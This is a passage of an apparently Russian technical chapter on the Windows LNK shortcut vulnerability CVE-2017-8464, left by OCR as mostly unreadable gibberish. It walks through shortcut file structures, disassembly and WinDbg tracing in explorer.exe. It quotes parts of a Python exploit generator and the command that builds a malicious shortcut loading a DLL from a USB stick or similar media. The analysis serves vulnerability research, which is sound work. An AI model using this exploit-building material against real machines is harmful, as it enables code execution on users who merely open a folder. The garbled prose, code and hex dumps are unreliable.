IsValidDataBlock cepsier pazmepbl U CUrHATYphbl, U €ciid npo0sieM He 0OHapyKEHO, TO
BbINOMIHEHWe niporpammbl Bo3Bpaiaetcs B GyHkiuio CShellLink:: LoadFromStream.
M3 Bcero, uto MOKHO 3anucatbh B (aitl ¢ ApAbIKOM, HAc WHTEPECYIOT TOJILKO
SpecialFolderDataBlock 1 KnownFolderDataBlock. Tak kak pa3zesibl 01MHAaKOBBI MO
CTPYKTYype, pazdepeM TOJIbKO OMH U3 HUX.

Crpykrypa SpecialFolderDataBlock ouenb BaxkHa B npouecce skcruyatauui. OHa uc-
noJsib3yercs, eciiv (aii, Ha KOTOPbIM CCblIaeTCs SpIiblK, HAXOJAMUTCS B CHELHAILHOM Mar-
KE CHUCTEMbl WJIM ccblUlaeTcs Ha Hee. MOXKHO Takke CTONKHYThes ¢ HazBanueM CSIDL
(Constant Special item ID List) min KNOWNFOLDERID (npuuio Ha cmeny CSIDL
B Windows Vista), UMEHHO UX Thbl BCTPETHLIb B OPULMATILHON JOKYMEHTALIHH.

Boobuue, crnenmanbHble nanku — 3TO NMCEBAOHUMBI /U1 CHCTEMHBIX Nanok. Takumu, Ha-
npumep, asisiores «Kopsunay, «Ilanean ynpasiaenus» unu AppData. Tak Bot, BMe-
CTO MCIOJIBL30BaHUS a0COMOTHBIX MyTeH, KOTOpbIE MOTYT ObITh pa3HbIMH B Pa3HbIX CHC-
Temax, B Microsoft npuaymanu Takue yHUKalbHbIe CTaTHUHbIE NICeBAOHMMBI. OHHU rapaH-
THPYIOT MPOrpaMMHUCTaM, 4TO MpHU OOpallleH!H, HaNpumep, K MaHesld YMpaBieHHs OHH
TOYHO B Hee MOMnazayT, r/e Obl MPOrpaMma HH BbITIOIHSIACH.

B HekoTOpbIX TakKX nankax 00bEeKThl MPeACTaBAAOTCS 0coOeHHBIM 00pazoM. U s Toro
4yToObl SpJbIK ObUT BbI3BAH KOPPEKTHO, nocie 3arpy3ku Onoka IDList nanuble U3 Hero
UHTEPIPETHUPYIOTCS B COOTBETCTBUH C TEKYLIIMMH YCTAHOBKAMM THIIA MATKH.

Bo3MOHO, MOKa 3TO 3ByYHMT HEMOHATHO, HO CKOPO Mbl JIETa/IbHO pa3depem 3TOT BOMpOC,
M BCe BCTaHeT Ha cBoM MecTa. [loka ke Bo3Bpaiaemes k SpecialFolderDataBlock. Cam
pasaen cocTOMT U3 ueThipex 0s10koB. Bee G10kM MMEIOT OAMH M TOT JKe pa3Mep W THII
naHHbIX — 4 Gaitra, 32-0utHoe Ge33HakoBoe Lenoe (puc. 2.12).

[Tepseiit 610k BlockSize, kak MOXHO MOHATH U3 HAa3BaHMA, — 3TO 00LIAs JVTMHA pa3jiesna.
Ona ¢ukcupoBana u umeer 3Hauenne 0x00000010. B KnownFolderDataBlock —
0x0000001C.



1 2 3
Cbl234567;8901123#5&78991234567&901
BlockSize
BlockSignature

SpecialFolderiD

Offset

Puc. 2.12. bnoku pasaena SpecialFolderDataBlock

3arem crnenyet BlockSignature — curnarypa pasnena. Ee 3HaueHue Toxe GUKCHUpOBa-
HO — 0xA0000005. B KnownFolderDataBlock — 0xA000000B.

Cnenom 3a BlockSignature uner 610k SpecialFolderID. On kak pa3 yka3bIBaeT, K Ka-
KOM M3 CeLMalbHBIX MaroK OTHOCHUTCS SpJbIK. X CIMCOK MOYKHO MOCMOTPETh, HANpH-
Mmep, TyT: https://installmate.com/support/im9/using/symbols/functions/csidls.htm.
B paccmarpuBaemom ciydae oObekT explorer.exe Haxonutcs B manke Windows. Oto
crielyanbHas nanka, Kotopas umeet 3HadeHue 0x24. Uro mbl 1 HaOmonaem B ¢aiine sip-
JIBIKA, KaK MoKa3aHo Ha puc. 2.13.

Pasnuiia ¢ KnownFolderDataBlock B Tom, uto Tam ucnionbyercs noiaHoueHHusii GUID
BMECTO LIEJIOUMCIIEHHOTO MpeAcTaBiieHus (puc. 2.14).

&¥ Command Prompt

e B
LSim, SvSTIR s 4
| CHA. TERPLATLS

| CSIDL_WINDOWS

i explorer.exe - Shortcut.nk

@
o
€
(8]

00 01 02

S #

Puc. 2.13. SpecialFolderlD u3 spnbika k cpainy explorer.exe

B Command Prompt

Puc. 2.14. B ctpykType KnownFolderDataBlock ncnons3yetcs nonsoueHHsin GUID



00— 34 —0O0

Cnenyroumii Bakublid 6ok — Offset. 910 cmelenue B Gaiitax, ykaspiBarollee Ha 3Jie-
meHT B Onoke IDList. Tak kak B HaueM sipnbike 3aaaH myTe C:\Windows\explorer.exe,
TO cMelleHue OyneT yka3eiBaTh Ha explorer.exe (puc. 2.15).

&% Command Prompt

HEX 83

DEC 131

) explorer.exe - Shortcutink

Offset(h) 00 01 02 03 04 05 06 07 08 05 OA OB OC OD OE OF

00000000

00000010 x G
00000020 4 e =

00000030 LINKTARGET _IDLIST

00000040 j
00000050 ED 4F DD 20 EA 3B 69 10 Az DS 08
00000060 19 00 2F 43 33 SC 00 00 0O 0Q
00000070 00 00 G0 00 00 00 56

CC SE 10 00 57 €9 &E

00000080
00000090 1 04 D0 EF BE FD 48 8"
sh oo

00000040 p
00 00 00 00 00 g
5 6F ; Wi o & m&e

OO O D
00
B
0
e
oo

0000

000000B0
000000C0
000000D0
00DCODED
000000F0
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180
00000190 i :
000001AC [B5 00 00 A0 24 00 so 00§83 00 0O ad]

00000180 W * " o
000001C0 * ¥ Oﬁset

o«

e B W
o006
090 6wl
0

-3
ry

Puc. 2.15. Bnok offset ctpykTypbl SpecialFolderDataBlock
ykasbiBaeT Ha anemeHT u3 IDList

O6paborkoit cTpyktypsl 3aHumaercsi ¢yHkuus CShellLink:: DecodeSpecialFolder
(puc. 2.16).

:181DC9ES loc_181DCYEL: ; CODE XREF: CShelliink:: LeoadFromStrean{iStrean = ulong)+2AFLj
:181DC9ED test esi, esi

:101DC9E2 Js short loc_181DCA18

:1010C9ES lea eax, [edi+BECh]

:101DCOER push eax

:101DC9ER push ebx

:101DC9EC call ds:__imp_ SHReadDataBlockiist@8 ; SHReadDataBlockList{x,x)

:1010C9F2 noy & eax

S181DCOF S test esi, es

:181DC9F 6 js short loc_101DCA18

:101DC9F8
*1010CIFE loc_101DCA18:
:181DCADT :
:1810CAD7 test dword ptr [uﬂom.
:101DCAB7 loc_101DCAG7: jnz loc_1010CBES
:1010CARO7 cmp dword ptr [edi+BCub], 8
:181DCAB7 jz short loc_1810CA38
:101DCABY nov ecx, edi

; thi
| :!xf:i“ﬂcﬂn call ? Dt:odespeciaanld!rESh!llLﬂnlﬂﬂEXX? i CShelllink::_BecodeSpecialFelder{veid)
| tay

; CopE mm CShelllink::_LoadFromStream(iStrean « nlang)*FoT)

3 Lnadrroninra-(lﬁrrmu =,ulong)+130Tj ...

Puc. 2.16. Bbizos dyHkuyun _DecodeSpecialFolder



O0—— 35 —0

Chavana onpezensieTcsi TMI MUCIONB30BAaHHOW CTPYKTYph! mo curHatype (610x Block-
Signature). SpecialFolderDataBlock umeer curnarypy 0xA0000005, a KnownFolder-
DataBlock — 0xA000000B. ®ynkuus SHFindDataBlock BbimosHseT 3TOT mNOMCK
B ExtraData (puc. 2.17).

" [-text:181DC6EF mov [ebpruar_4], eax

" .text:181DC6F2 and [ebp+pu], &
-text:101DC6F6 push ebx

" .text:101DC6F7 push esi ; struct _ITEMIDLIST_ABSOLUTE =

© .text:101DC6F8 push edi ; struct _ITEMIDLIST_ABSOLUTE =

© l.text:181DC6F9 mov esi, ecx

© .text:101DC6FB push 8ABSHBABERL -» KnownFolderDataBlock

© -text:181DC700 (push duord ptr [esi+#ECh]

* .text:181DC706 call ds:_imp__SHFindDataBlock@8 ; SHFindDataBlock(x,x}
.text:181DC786C mou edi, eax
.text:181DC7BE test edi, edi
-text:181DC718 jnz short loc_161DC747
.text:181DC712 push BABHEBBAGSh -~ SpeciaiFoiderDataBlock
-text:181DC717 (push dword ptr [esi+8ECh]
.text:181DC71D call ds: imp_ SHFindDataBlock®8 ; SHFindDataBlock(x,x)
.text:101DC723 mouv edi, eax
-text:181DC725 test edi, edi

r---- |-text:181DC727 jnz loc_182RE318

Puc. 2.17. BbizoB dyHkuynm SHFindDataBlock ansi noucka Hy>XHOro pasaena no curHatype

Ocob6eHHOCTH 3KCNyaTauum

Ilpexne yeM creHepupoBaTh SKCIUTYaTUPYIOIUIUI YSI3BUMOCTh SIPJIbIK, CIEAYET CKOMIIH-
aupoBate DLL ¢ Hy»xHO# Tone3Ho# Harpy3koit. 3zeck st He Oyy OIUCHIBaTh BeCh IMpO-
uecc kommusauuu DLL, satoro nonHo Ha npocropax MuTepHeTa. [[1s TecTa 4OCTaTOYHO
UCIIONIb30BaTh FOTOBYIO OuOmuoreky u3 penosutopust 3gstudent (https://github.com/
3gstudent/CVE-2017-8464-EXP), koTopas 3amyckaeT KajJbKyasTop.

Sl nmeperMeHyl0 ee BO UTO-HHOYAb MeHee MOHCTpyo3Hoe, Hampumep test.dll. Teneps
HY’>KHO CreHepUupoBaTh ApJibIK. HamoMH:o, 4TO s UCMOJB3YIO SKCIUIOMT aBTOPCTBa nixawk
u ykoster. OH mynpTHrIaTGOpMeHHbIH U HanucaH Ha Python, HHKakuX 3aBUCHMOCTEH.
JU1s KOMITUIIALMK KCTIOJIb3YETCSl KOMaHa CeIyOLero BUaa:

./42429.py </path/to/lnk/file> </path/to/dll/for/load>

Iyts 1o DLL — 5T0 04eHb BakHbIM Mapametp. JIes0 B TOM, YTO 3KCILIOUT OyJeT pacro-
JarathCs Ha BHEIIHEM HOCHTENlE W paboTaTh OTTYy/a, a MyTh A0 00BEKTa B sApJbike abco-
JIFOTHBIA. DTO CO3/1aeT ONpe/e/ieHHbIe CJI0KHOCTH, T. K. OyKBa aucka OyaeT MEHATbCS OT
MalllKiHbI K MaliuHe, notoMy 4to Windows nprcBauBaeT ee aBTOMaTHYECKH.

IIpobnema obxomutcst B 100 — co3JaHUEM KYUYKH SIPJIBIKOB [JIsl Ka)KJOH BO3MOXKHOM
OykBBI AMcka. IMEHHO MO3TOMY B PErO3MTOPHUH MO CCHUIKE BbILIE €CTh SIPJIBIKH HA KaXK-
ayto OykBy andaputa. [Ipeanonoxum, 4to Mbl 3HaeM OykBy 1 310 D:. /lanee HaM HyxeH
o060l HocuTenb: (ielika, JUCKeTa (eclid BAPYTr Haiaemb) win naxe ¢aiin [SO. Boob-
1€, 3KCILIOUTY Oe3 pa3sHULbI, I/le OH HaxoauTces. [laxke ecsiu Thl MOMECTHULIb CreHepHpO-
BaHHBIN ApIIbIK HA XKECTKUH JMCK, Neinoan oTpaboTaeT Npu OTKPLITUM MalKH C TaKUM
ApabIKOM. CheMHBIN HOCUTEINb MCIIONB3YETCs B MPUMepe JIHIIb KaK OJMH U3 BapHaHTOB
JOCTaBKH T0JIE3HOM HArpy3KH Ha MalluHY MOJb30BaTes.
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Cosznaem cobcTBeHHO cam ¢ain LNK:
./42429.py test.lnk D:test.dll

Tak kak 0a30BbI€ 3HAHHUS O TOM, KaK YCTPOCHBI ApPJIbIKH, Y HAC HMEKOTCS, TO npo6e>|<nMc;1
IO UICXOJHUKY CIUJIOMTA U NMpOoCji€IUM 0COOEHHOCTH CO3JaHUS BpPE€AOHOCHOTI'O sIpJIbIKa.

CHauarna xuzep. 31ech Bce He clioxkHee, yeM B 6e3onacHom spibike. B 61oke LinkFlags
ucnonb3yeM ¢uarn HasLinkTargetIDList u IsUnicode. baiitel 0 1 7, nomuuis?

189: generate SHELL LINK HEADER(),

013: def generate SHELL LINK HEADER():

055: shell link header = [

058: b'x81x00x00x00",
# "LinkFlags" : (4 bytes) 0x81 = 0bl10000001 = HasLinkTargetIDList +
IsUnicode
Hanbuie neno 3a noctpoenrem 6soka IDList:
197 generate LINKTARGET IDLIST (path, name),
075: def generate LINKTARGET IDLIST (path, name):
114: idlist = [
115% # ItemIDList
116:
117: generate
ItemID (b'x1fx50xe0x4fxd0x20xeax3ax69x10xa2xd8x08x00x2bx30x30x9d"),
118: generate

ItemID(bTx2ex8Ox2Ox20xecx2lxeax3ax69xlOxa2xddx08xOOx2bx3Ox3Ox9d'),

A BOT Kak BbINISAUT cama (yHkiMs generate_ItemID:

88: def generate ItemID(Data):

89: itemid = [

90: struct.pack('H', len(Data) + 2), # ItemIDSize + len(Data)
915 Data

92 ]

97: return b"".join(itemid)

B ctpoke 117 mMbI reHepupyeM MepBbIi 2j1eMeHT cnvcka. Kak BUAMLIB, TYT UCTIONb3YeTCs
tot s)x¢ GUID 20D04FE0-3AEA-1069-A2D8-08002B30309D, uT0 1 B sIpJibIKE, KOTOPBIH
Mbl paccmaTpuBanu B npumepe. He 3abbiBaem mnpo mnopsaok GaitoB little-endian
(puc. 2.18).

A BoT BrOpO# aneMeHT (ctpoka 118) yxe unrepecHee. GUID 21EC2020-3AEA-1069-
A2DD-08002B30309D roBopHT HaM O TOM, YTO 3JIEMEHT, Ha KOTOPBIH CChUIAETCS APJIbIK,
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Haxoautcs B rnpoctpaHcTBe MMeH «[lamenm ympaBaenus» (puc. 2.19). IlogpoGHee
0 mpocTtpaHcTBe MMeH uurtaii B MSDN mno anpecy https://docs.microsoft.com/ru-
ru/windows/win32/shell/namespace-intro?redirectedfrom=MSDN.

Offset(h) 00 01 02 03 04 05 06 07 08 0% 0A OB OC 0D OE OF

G0GOCDCO  4C 00 00 00 01 14 02 00 00 00 00 00 CO 00 00 00 LiseeesveassBons
00000010 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 60 ...Ff.....cuunn.
00000020 Q0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...cevvuvan seees
00000030 00 00 00 Q0 00 00 00 00 00 00 OO0 00 0C 00 00 OO0

00000040 .

000 ftem 1

060

00000070

00000080 eames s o sowameDs
00000050 ta\ate0a8tanad.
00O00CAD 6C 00 6C 00 00 Q0 4D Q0 69 00 63 00 72 00 6F 00 1l.1...M.i.c.r.o.
000000BO 73 00 6F 00 66 00 74 00 00 00 00 00 00 00 10 00 s.0.f.t.cecevens
000000CO 00 00 05 00 00 AO 03 00 00 00 28 00 00 00 00 00 ..... eveoleccns
0000G00DC 00 00 se

Puc. 2.18. MNepBbiit aneMEHT CTPYKTYpbI

IDList B spnblke-akcnnonTe

% HD - [DAVisugiHackitest Ink]
i) File Edit Sesrch View Anslysis Extras Window 7

T o K2 8 ¢ v ANSE 'l hex o

i) explorerane - Shorteutink 4 testink
Offset (h) 00 01 02 03 04 05 06 07 08 0% CA 0B OC OD OE OF
Q0000000 4C 00 00 00 01 14 02 00 00 00 G0 00 CO 00 80 00 L.svsvessuedBons
90000010 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00 .. FPivininnonvs
00000020 060 00 00 00 00 00 Q0 00 00 00 00 00 00 00 20 00 s.icswevsvsvsnanas
Q0000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .uvcavevcnecncnn
00000040 00 90 00 0 00 00 70 00 14 00 covnenvenccaPaee
GoG00050  1F A 37 3 %
Qoo
0005t o 2
90500080 s IR » %
006600080 PR TR S
00600 6C 00 l.1...M.1.c.x.0.
2000 73 ¢0 S.0.0. iiinuns
3000 00 GO §5 00 00 AC 03 OC OO 00 28 00 00 00 60 00 ..... P
000000DG 80 00 -

121F28201-4281-458 1-0434- 26E44E3988EC)
{21F347DE-7920- 42528742 - 7CARGILBARSD)

3 {21CAC337-2BA -AFST-OFI61DBE2AD3} A Name Type Datz
{21CBO228~120A- 441 -97DF -6CDCABE 5405 e #5657 AR Contol Panel ems
> {21DEDA4SE-A388-1§0-23DD-00AAI3CCABD) BliokoTip REGEXPAND.SZ @ % Zshell32.d1 31361
gdm;’i‘; 1mm.{;—%msw’; ’ ¥ LocalizedString REGEXPANDSZ  @%Systemf nell32.d1l-32012
. m a mmm e
Oddaiins 1% Systern ControlPanel Category
InProcServer3Z
Shelt
ShetFolder

Puc. 2.19. Bropoit anemeHT cTpykTypbl IDList B Apnbike-akcnnouTe.
GUID 21EC2020-3AEA-1069-A2DD-08002B30309D

Jlanblie Ha OCHOBE IMepeIlaHHOrO B KaUeCTBE apryMeHTa IyTH 10 OUOIMOTEKH reHepupy-
etcs TpeTHii anemeHT B IDList. B namem cnyyae DLL nexxut Ha nucke D:.

118 generate ItemID(generate cpl applet(path)),
CMoTpMM, UYTO 3TO 3a QyHKUMUA.
099: def generate cpl applet (path, name=name) :

100: name += b'x00'
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101z path += b'x00'

102:

103: bindata = [

104: b'x00x00x00x00x00x00x00x00x00x00x00x6ax00x00x00x00x00x00",
1052 struct.pack('H', len(path)),

106: struct.pack('H', len(name)),

107% path.encode ('utf-16"') [2:],

108: name.encode ('utf-16') [2:],

109: b"x00x00" # comment

110: ]

JHanbiue cozgaercs cexuus ExtraData.

213: generate EXTRA DATA()

BoT kak 3TO BBITJISOUT.

135: def generate EXTRA DATA() :

163: extra data = [

164: b'x10x00x00x00",

165: b'x05x00x00xA0",

166: b'x03x00x00x00",

167 b'x28x00x00x00",

168: 'b'x00x00x00x00"'  # TERMINAL BLOCK
169: ]

Crpoka 166, kak Mbl momHuM, — 3T0 SpecialFolderID, u oH yka3siBaeT Ha TO, 4TO 00B-
€KT HaxoauTcs B creuuanbHoi nanke. M sra manka — «Ilanean ynpaBiaenus» (0x03
310 CSIDL_CONTROLS, puc. 2.20).

4] explorer.exe - Shortcutnk & testink

Offset(h) 00 01 02 03 04 05 0é 07 08 09 OA OB OC 0D CE OF

00000000 4C 00 00 00 01 14 02 0CG 00 00 00 00 CO 00 00 00 L....evvann. A...
00000010 00 00 00 46 81 00 00 0C 0C 00 00 00 00 00 00 00 ...FP...........
00000020 00 00 00 00 00 00 00 0C 00 00 00 00 00 00 0G0 00 ..vevvevnncunann
00000030 00 00 00 00 00 ©0 00 0OCG 00 0OC 00 00 00 G0 00 00 .....cccenvnn e
00000040 00 00 00 00 0D CO 00 00 00 00 00 00 70 00 14 00 ......cvvunn P =

00000050 1F 50 EO 4F DO 20 EA 3A 69 10 A2 D8 08 00 2B 30 .PaOP x:i.yll..+0
00000060 30 9D 14 00 2E 80 20 20 EC 21 EA 3A 6% 10 A2 DD Ok...BP wMIk:i.y3
00000070 08 00 2B 30 30 9D 46 00 00 00
00000080 00 00 00 &A 00 00 0C 0C 00 0O
00000080 3A 00 5C 00 74 00 &5 00 73 0O

000000AD 6C

000000BO 6F

000000C0O

000000D0 SpecialFolderiD

LY, MRS TOR AR L oo e S SRR SRR RN el SR
ity ol S oS hoe g R N Lo s, (e

2 s . "
3 m The wirtual folder containing icons for the Contrel Panet applica!icn,s,g
R i
% % T Bk e g BN R B B e R T
e R
% bty i ke L ey B ko By

Puc. 2.20. bnok SpecialFolderlD B spnbike-akcnnonTe
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B ctpoke 167 Haxoautcs cmeuieHue oObekTa B Gaiitax, ykaspiatouiee Ha Haury DLL.
Ono cumraercs otHocutensHo IDList. Tak kak 3a nmyTh 10 OMOIHOTEKH OTBEYAET TPETHIA
JJIEMEHT, a nepej HUM UIYT JBa sieMeHTta no 0x14 Oaiit, To cMemeHue paBHo 0x28
(puc. 2.21).

2 HxD - [D\VisualHack\test.Ink]
Eﬁ File Edit Search View Analysis Extras Window 2
Hv el sv 16 Nl ANS

i) explorer.exe - Shortcutink i testink

(=
]

Offset(h} 00 D1 02 03 04 05 06 07 08 09 OA OB OC OD
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 CO 00
00000010 00 00 00 46 81 00 00 00 00 00 Q0 00 00 00
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 D0 00 0G 00 00 00 00 00 00
00000040 oo 20 us 00 00 00 00 00 00 00 90 00 70 00 {14y ¢
00000050 50 4F DO 20 EA 3A 69 10 A2 D2 08 00 JB
g a 9q§§?oo 2E 80 20 20 EC 21 EA 3A 69 10 A2
oc item 2 oe o 30 30 9D 46 00 00 00 00 00 |
00vuuusy 100 50 00 A 00 00 00 / ., ac o
00000090 /3A 08 5C ~7 " "o - o
0000000 6C 00 6C e e K Lt et ot o G
000000BO 173 00 6F 66 00 )

000000C0 00 0%
200000D0

0 0O 00 O
OO0 ™M
QIO O OO
0 OI0o O QO

Puc. 2.21. CmewyeHne oTHocuTenbHo cTpykTypsi IDList ykasbiBaeT Ha TpeTUn anemMeHT

,Haﬂbl.lle SKCIUIOUT MPOCTO 3alUChIBACT BCE CI€HECPHUPOBAHHBIC JaAHHLIE B (baﬁn ApJibIKa.

Bpems 3anyckatb

Hrak, spislk roBopuT cucreme O TOM, 4TO 00BeKT oObsBisercs uacThio «Ilanenn
ynpasJjeHHsi» ¥ oOpabaTbiBaTh ero Hy:KHO ocoOeHHbIM oOpasom. «Ilanean ympasie-
HHSI» COCTOMT M3 KOMIIOHEHTOB, Ha3biBaembix amruietamu Control Panel Applets
(CPLApplet). Ilo Gonbimomy cuety 310 00bIYHBIE DLL, KOTOpBIE MMEIOT pacuIMpeHHE
.cpl u skcnoprupytotT ¢pynkio CPlApplet. Bor u Hama 6M6,1M0TeKa MOKET CIOKOHHO
COWTH 3a TaKoOW amiuleT, eciiy ero NpaBWIBHO MPENoJAHeCTH cucTeMe. YeMm u 3aHUMaeTcs
creHepupoBaHHbIi ¢aiin LNK.

B npouiom paszene Mbl OCTAHOBWJIMChH Ha 3Tare MapcuUHra CriellajbHOM OUPEKTOPHHU.
JlaBait BepHeMcsi K 3TOMY Mpoleccy y)ke ¢ pealbHbiM npuMepoM. Utobsl pazobpaTbes,
YTO TaM MPOMCXOIHUT, s OTPAXHYN OT mbuth cBoii WinDbg. ATraummcs k mpoueccy
explorer.exe u craBuM mpepsiBaHMe Ha BbI30B (yHkuuu _DecodeSpecialFolder
(puc. 2.22):

!process 0 0 explorer.exe
.process /r /p £fffda016330b7c0
bu windows_storage!CShellLink:: DecodeSpecialFolder

Tenepr noaxodaem ¢uiellky K BUpPTyalbHON MaluvHe W nonajnaeM B aebarrep. bperik-
NoHHT cpabortas. Mbl HaxoauMmcs riepea Bei3oBoM _DecodeSpecialFolder.
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-
If you did not intend to break into the debugger, press the "g" key, then *
press the "Enter” key now. This message might immediately reappear. If it =
does, press "g" and "Enter" again. .

5 £

hﬁk*ﬁ!kﬁi“ﬁiﬂﬂﬁ*wﬁﬁﬁﬂﬁﬁﬁﬁkﬁiﬂokii%ﬁwww&ﬁﬁs\(wﬁhd”f«%‘Aﬂfi\?&!&fkﬁ\'«iﬁﬁﬁﬁiﬁﬁﬁﬂwﬁﬁ'\?ﬂﬁﬁﬁﬁ'ﬂQﬁf

 int ! DbgBreakPointwithstatus:

 FTFF801 9a5f5a40 cc int 3

| tprocess O 0 explorer.exe

PROCESS ffffaa058b983400 .

Sessionid: Ccid: 02ds peb: 00f58000 Parentcid: QOcdd

pDirBase: 017a0000 oObjectTable: ffffe60a447207c0 HandleCount: 1499
Image: explorer.exe

kd> .process /r /p ffffaa058b983400
IImplicit process is now aa05 8b983400
{. cache forcedecodeuser done

iLoading User Symbols

ress ctrl-c (cdb, kd, ntsd) or ctri-break (windbg) to abort symbol loads that take too long.
un 'sym noisy before .reload to track down problems loading symbols.

d> bu windows_storage!cshellLink: :_DecodespecialFolder
 ibreakpoint 1 redefined

K&

Puc. 2.22. AtTau k npoueccy explorer.exe n yctaHoBka 6peiik-nonHTa Ha _DecodeSpecialFolder

[MoTpeiicuM HeMHOXKO Brepea ¢ nomolupto kaasum <F10> u poiinem no ¢yHkuun
SHFindDataBlock. Bugum, uro B panHeix u3 IDList Haiinen Onok Special-
FolderDataBlock (puc. 2.23).

IR~ v 16 v ANSI ~ | hex v

& testink

Offset (h} 00 01 02 03 04 05 0€ 07 02 09 G& 9B OC OD OE OF

00000000 4C 00 00 00 01 14 02 00 00 00 00 00 CO 00 00 00 L........... A,
000900010 00 002 00 46 81 00 00 0C 00 @0 D20 0D 00 00 0GC 09 valBfasssssvases
00000020 00 00 D0 00 00 00 00 00 00 00 G0 90 00 00 00 00 .......cccneenns
00000030 00 OO0 00 00 00 00 00 00 0D GO 00 GO 00 00 00 00 .....cevevvunnns
00000040 00 00 90 00 00 00 00 00 00 00 00 00 70 00 14 00 ............ -
00000050 1F 50 EO 4F DO 20 EA 3A €% 10 A2 DS 08 00 2B 30 .PaOP k:i.¥H..+0
00000060 30 9D 14 00 2E 8G 20 20 EC Z1 EA 3A €9 10 AZ DD Ok...B» mM!m:i.¥3
00000070 08 00 2B 30 30 9D 4€ 00 00 00 00 00 00 00 00 00 ..+00KF.........
00000080 00 00 00 6A 00 00 00 00 00 00 OC 00 OA 00 44 00 ...3.......... D.
00000090 3A 00 ZF 00 74 00 65 00 73 00 74 00 2E 00 €64 00 :./.t.e.s.t...d.
D00000A0 6T €C 00 00 00 4D 00 €9 0D €3 D0 72 00 6F 00

00000080 0 0 Q

000000C0

D00000D0

Offset: BE Block: BE-D1

s

Display format: Eyte
00 00 00 00 00 00 00 00 03 ba ¢8 9b 00 57 01 8c

105550c70 1000 00 00 05 00 00 a0 03 00 0C 00 28 00 00 00 ?GO?W 00
“05550c84 00 00 00 00 0d b 9b 00 58 01 80 00 00 c5 b6 fa 7f 00 0O
of ba cc
1

| Virtuak @rcx
"05550c5¢c 00 00 00
o

£y

00
ce
'05550c98 30 55 7a 02 00 00 00 00 41 f7 72 02 00 00 00 00 9b
"05550cac 00 59 01 88 08 00 00 00 00 OC 0C 00 cO 62 64 Ob 00 00 0C 00
"05550ccO 00 00 00 00 Oa 00 00 00 09 ba b2 9b 00 5a 01 88 07 00 00 00
"05550cd4 00 00 00 00 80 65 64 Ob 00 00 00 00 00 00 00 00 Oa 00 00 0O
'05550ce8 Ob ba b0 9b 00 5b 01 80 74 00 65 00 73 00 74 00 2e 00 64 QO
"05550cfc 6c 00 6c 00 00 00 00 G0 00 00 00 00 15 ba b6 9b 00 5c 01 88

Puc. 2.23. bnok SpecialFolderDataBlock, 3arpyeHHbii B namsaTb
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3arem ynpasnenue nepexoaut Kk (yHkuuun SHCloneSpecialIDList, oHa Bo3Bparaet
ykazatenb Ha ctpyktypy ITEMIDLIST, kortopas oTBedaeT 3a yKa3aHHYIO B Spe-
cialFolderDataBlock cneuunanbHyto nanky (B Hawem ciydae — «Ilaneas ynpasie-
HHAY, T. K. SpecialFolderID pagen 0x03).

Jlanee uMTaeTcs cMelIeHHE, 0 KOTOPOMY MOXKHO HAMTH 3JIEMEHT, COIEPKaIIMM MyTh 10
DLL. 3arem Bce 3t10 geno nepeaaercs B ¢pyHkumio TranslateAliasWithEvent us Toii e
6ubnmorexkn window.storage.dll. B Heit nporcxonut o6paboTka 06bEKTa COrIacHo yKa-
3aHHBIM B spabike AByM CLSID. J{nst aToro u3 peectpa c4uThiBaeTcsi HHGOpPMALIUS O HUX.

Janbme 3a geno Oepercs ¢yukuuss CControlPanelFolder::ParseDisplayName wu3
shell32.dll. Ona nbITaeTcs Moay4YMTh Ha3BaHHWE ICEBIOIEMEHTa NMAHENM YINPABICHHMS,
T. K. MBI BblIaeM Hauly OMONIHOTEKY ¢ KalbKyJIsTOpoM 3a Hero. [loToM BeINoJIHEHHE ne-
penaetrcs k CControlPanelFolder::_GetPidlFromAppletld (puc. 2.24).

[ [1803K0BBE 7_GetPidlFromAppletld@CControlPanelFolder - | proc near
180340888 ; CODE RREF: CContrplPanelFolder::ParsebisplagNane
1188340888
188340888 phkResult = quord ptr -686h
180340888 var 68 = quord ptr -6A8h
180340888 hiiey = qword ptr -6R8h
180348888 ppszCanonicalName= quword ptr -498h
188348888 var 598 = word ptr -698h
180340888 var 578 = word ptr -678h
180340888 SubKey = word ptr -468h
188340888 var_258 = word ptr -258h
180340888 var_ 4% = quord ptr -h@h
180340888 arg 18 = quord ptr 58h
180340888

© 188340888 nov [rsp-98hearg 18], rbx
18034088D push rbp
" 180340B8E push rsi
~ 188340B8F push rdi
© 188340898 push r12
180340892 push r13
180340894 push ri4
© 188340896 push r15
¢ 188340898 lea rbp, [rsp-5ben]
© 180346BAO sub rsp, 6D6h
180340BA7 mou rax, cs:__security_cookie
© 180340BAE xor rax, rsp
1883408881 mou [rbp+6asnsvar_58], rax
" 180340888 mnov r15, rdx
180340888 mnov r13, rex
© 188340BBE Xor riad, riad
© [188348BC1 lea rdx, [rsp+6DBh+ppszianonicalNane] ; ppszCanonicalName
© 1808340BC6 lea rcx, PKEY Software_fppld ; propkey
“ 180340BCD moy [r8], r14

. Offset: (@$scopeip
$000077Ta b6TO0C46 4C8bCO mov r8,rax
b6f90c43 bad4010000 mov edx,104h

b6f30cd4e 488bce mov rex,rsi R

"b6f90c51 e8laSed2ff call SHELL32!stringcchcopyw (00007ffa b6ch6a70)

"b6f90c56 8bd8 mov ebx,eax =
"b6f90c58 488d0dblce2a00 lea rcx, [SHELL32!CcControlPanelFolder: :s_srwTemporaryappIidiock (00007ffa b7z
'b6f90csf ff1523f01e00 call qword ptr [SHELL32!_imp_ReleaseSRwLockshared (00007ffa b717fc88)]
"b6f90c65 488b742448 mov rsi,qword ptr [rsp+48:3

‘b6f90c6a 8bc3 mov eax,ebx

"b6fo0c6c 488b5c2440 mov rbx,gword ptr [rsp+40h]

"b6f90c71 4883c430 add rsp,30h

'b6f90c75 ST pop rdi

¢ a’b6f90c76
33:00007ffa b6f90c77

vy 1espr 20N v

pi

push

push

push

push ris

57 push 15
: 488dac2430faffff lea rbp, [rsp-500h]
:00007ffa " b6f90c90 4881ecdDO60000 sub rsp,6D0h
:00007ffa’b6f90c97 488b05ca932a00 mov rax,qword ptr [SHELL32! security_cookie (00007ffa b723a068)]
:00007ffa b6f90c%e 4833c4 xor rax,rsp
:00007ffa b6f90cal 488385c0050000 mov qword ptr [rbp+5C0h],rax
:00007ffa b6f90ca8 4c8bfa ris,rdx
